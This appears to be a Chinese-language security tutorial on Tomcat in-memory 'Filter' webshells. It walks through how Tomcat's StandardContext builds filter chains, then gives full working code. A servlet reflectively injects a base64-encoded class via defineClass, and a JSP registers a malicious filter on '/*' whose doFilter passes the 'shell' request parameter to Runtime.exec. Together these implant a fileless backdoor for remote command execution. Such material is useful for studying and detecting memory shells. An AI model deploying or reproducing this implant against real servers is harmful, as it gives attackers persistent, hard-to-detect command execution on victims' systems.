idea調試的時候加入源代碼
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>
Servlet、Listener、Filter 由 javax.servlet.ServletContext
去加載,無論是使用 xml 配置文件還是使用 Annotation 註解配置,均由 Web 容器進行初始化,讀取其中的配置屬性,然後向容器中進行註冊。
Servlet 3.0 API 允許使 ServletContext 用動態進行註冊,在 Web 容器初始化的時候(即建立ServletContext 對象的時候)進行動態註冊。可以看到 ServletContext 提供了 add/create 方法來實現動態註冊的功能。
ServletContext
它會爲每個web程序都創建一個對應的ServletContext對象,它代表當前的web應用。 事實上SpringMVC封裝的ApplicationContext 以及Struts2封裝的ApplicationContext裏面都是保存着原本的ServletContext。
作用:
- Web應用範圍內存取共享數據;
- 訪問web應用的靜態資源;
- Servlet對象之間通過ServletContext對象來實現通訊。
ServletContext跟StandardContext的關係
-
StandardContext
:StandardContext
是Tomcat服務器中的一個組件,用於管理Web應用程序的上下文(Context)。- 它是
javax.servlet.ServletContext
接口的實現類,提供了一些額外的功能和管理能力。 StandardContext
負責加載和初始化Web應用程序的配置信息,包括Servlet、Filter、Listener等組件的註冊和管理。- 它還提供了對Web應用程序的生命週期管理,例如啓動、停止和重新加載等操作。
-
ServletContext
:ServletContext
是Java Servlet規範中的一個接口,表示Web應用程序的上下文。- 每個Web應用程序都有一個唯一的
ServletContext
實例,用於在應用程序內共享信息和資源。 ServletContext
提供了一些方法,用於獲取Web應用程序的初始化參數、訪問應用程序範圍的屬性、讀取Web應用程序的配置信息等。- 它還提供了一些與Web容器交互的方法,例如獲取請求調度器、獲取資源的真實路徑等。
總結:
StandardContext
是Tomcat服務器中用於管理Web應用程序的上下文的實現類,而ServletContext
是Java Servlet規範中定義的用於表示Web應用程序上下文的接口。它們的主要區別在於StandardContext
提供了更多的管理和生命週期控制功能,而ServletContext
則提供了訪問應用程序範圍的屬性和配置信息的方法。
Tomcat 中有 4 類容器組件,從上至下依次是:
- Engine,實現類爲 org.apache.catalina.core.StandardEngine
- Host,實現類爲 org.apache.catalina.core.StandardHost
- Context,實現類爲 org.apache.catalina.core.StandardContext
- Wrapper,實現類爲 org.apache.catalina.core.StandardWrapper
Filter 內存馬
Filter 我們稱之爲過濾器,是 Java 中最常見也最實用的技術之一,通常被用來處理靜態 web 資源、訪問權限控制、記錄日誌等附加功能等等。一次請求進入到服務器後,將先由 Filter 對用戶請求進行預處理,再交給 Servlet。
通常情況下,Filter 配置在配置文件和註解中,在其他代碼中如果想要完成註冊,主要有以下幾種方式:
- 使用 ServletContext 的 addFilter/createFilter 方法註冊;
- 使用 ServletContextListener 的 contextInitialized 方法在服務器啓動時註冊(將會在 Listener 中進行描述);
- 使用 ServletContainerInitializer 的 onStartup 方法在初始化時註冊(非動態,後面會描述)。
追溯Filter的doFilter:
-
FilterDemo重寫了doFilter,如何執行到FilterDemo的doFilter?
-
ApplicationFilterChain的doFilter被執行,執行了internalDoFilter;
-
filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler對象,取出每個元組,賦值給filterConfig;
Filter filter = filterConfig.getFilter();
-
然後執行了filter.doFilter(request, response, this);
-
filters[]是在哪裏賦值的呢?
-
在StandardWrapperValve的invoke中
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然後執行了filterChain.doFilter。看看createFilterChain裏面做了什麼?
-
在ApplicationFilterFactory的createFilterChain中
ApplicationFilterChain filterChain = null;
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();從StandardContext配置文件中獲取filter,放入filterMaps
這裏是根據前面獲取的filterMaps循環來獲取的
for (FilterMap filterMap : filterMaps) ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); filterChain.addFilter(filterConfig);
-
filterChain.addFilter(filterConfig),最後return filterChain。
-
在ApplicationFilterChain的addFilter中做了什麼?filters[n++] = filterConfig;所以最終filters[]裏面會有所有filter的filterConfig;
FilterConfigs:存放 filterConfig 的數組,在 FilterConfig 中主要存放 FilterDef 和Filter 對象等信息
FilterDefs:存放 FilterDef 的數組 ,FilterDef 中存儲着我們過濾器名,過濾器實例等基本信息
FilterMaps:存放 FilterMap 的數組,在 FilterMap 中主要存放了 FilterName 和 對應的 URLPattern
fiterConfig的內容都是從context中得到,因此只要我們能控制context的內容就行了
動態註冊Filter
經過上面的分析,我們可以總結出動態註冊Filter的流程:
- 獲取上下文對象StandardContext
- 創建惡意Filter
- 構造FilterDef封裝filter
- 創建filterMap,將路徑與Filtername綁定,將其添加到filterMaps中
- 使用FilterConfig封裝filterDef,然後將其添加到filterConfigs中
package com.example.webshellfilter;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@WebServlet(name = "filterServlet", value = "/filterServlet")
public class FilterServletDemo extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
//1、通過request獲取ServletContext類
//通過request獲取servletContext
ServletContext servletContext = request.getServletContext();
//其實這裏是ApplicationContextFacade的類
System.out.println(servletContext.getClass());
Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
applicationContextFacadefield.setAccessible(true);
//獲取servletContext對象中的context的值,因爲是ApplicationContextFacade所以獲取到的context是ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
//通過applicationContext對象獲取StandardContext
Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
standardContextfield.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
//將Filter對象通過反射實現加載
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
//2、在Java中,可以使用defineClass方法將一個類動態地注入到當前的JVM中,這裏將filter類注入進去
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
defineClass.invoke(classLoader,code, 0, code.length);
//3、添加filterDef
System.out.println(Class.forName("FilterDemo").getName());
Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterDemo);
filterDef.setFilterName("FilterDemo");
standardContext.addFilterDef(filterDef);
//4、添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterDemo");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
//添加到standardContext的filterConfigs中
//反射獲取filterConfigs
//由於ApplicationFilterConfig經Final修飾,且構造方法爲靜態方法,無法通過new實例化,需通過反射獲取ApplicationFilterConfig構造方法並實例化後添加入filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
PrintWriter out = response.getWriter();
out.println("over");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
jsp實現
<%@ page language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
<title>Get Request Object in JSP</title>
</head>
<body>
<h1>Get Request Object in JSP</h1>
<%
class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("過濾中。。。");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
System.out.println("過濾結束");
}
}
//1、通過request獲取ServletContext類
//通過request獲取servletContext
ServletContext servletContext = request.getServletContext();
//其實這裏是ApplicationContextFacade的類
System.out.println(servletContext.getClass());
Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
applicationContextFacadefield.setAccessible(true);
//獲取servletContext對象中的context的值,因爲是ApplicationContextFacade所以獲取到的context是ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
//通過applicationContext對象獲取StandardContext
Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
standardContextfield.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);
//3、添加filterDef
FilterDemo filterDemo = new FilterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterDemo);
filterDef.setFilterName("FilterDemo");
filterDef.setFilterClass(filterDemo.getClass().getName());
standardContext.addFilterDef(filterDef);
//4、添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("FilterDemo");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
//添加到standardContext的filterConfigs中
//反射獲取filterConfigs
//由於ApplicationFilterConfig經Final修飾,且構造方法爲靜態方法,無法通過new實例化,需通過反射獲取ApplicationFilterConfig構造方法並實例化後添加入filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));
System.out.println("over");
%>
</body>
</html>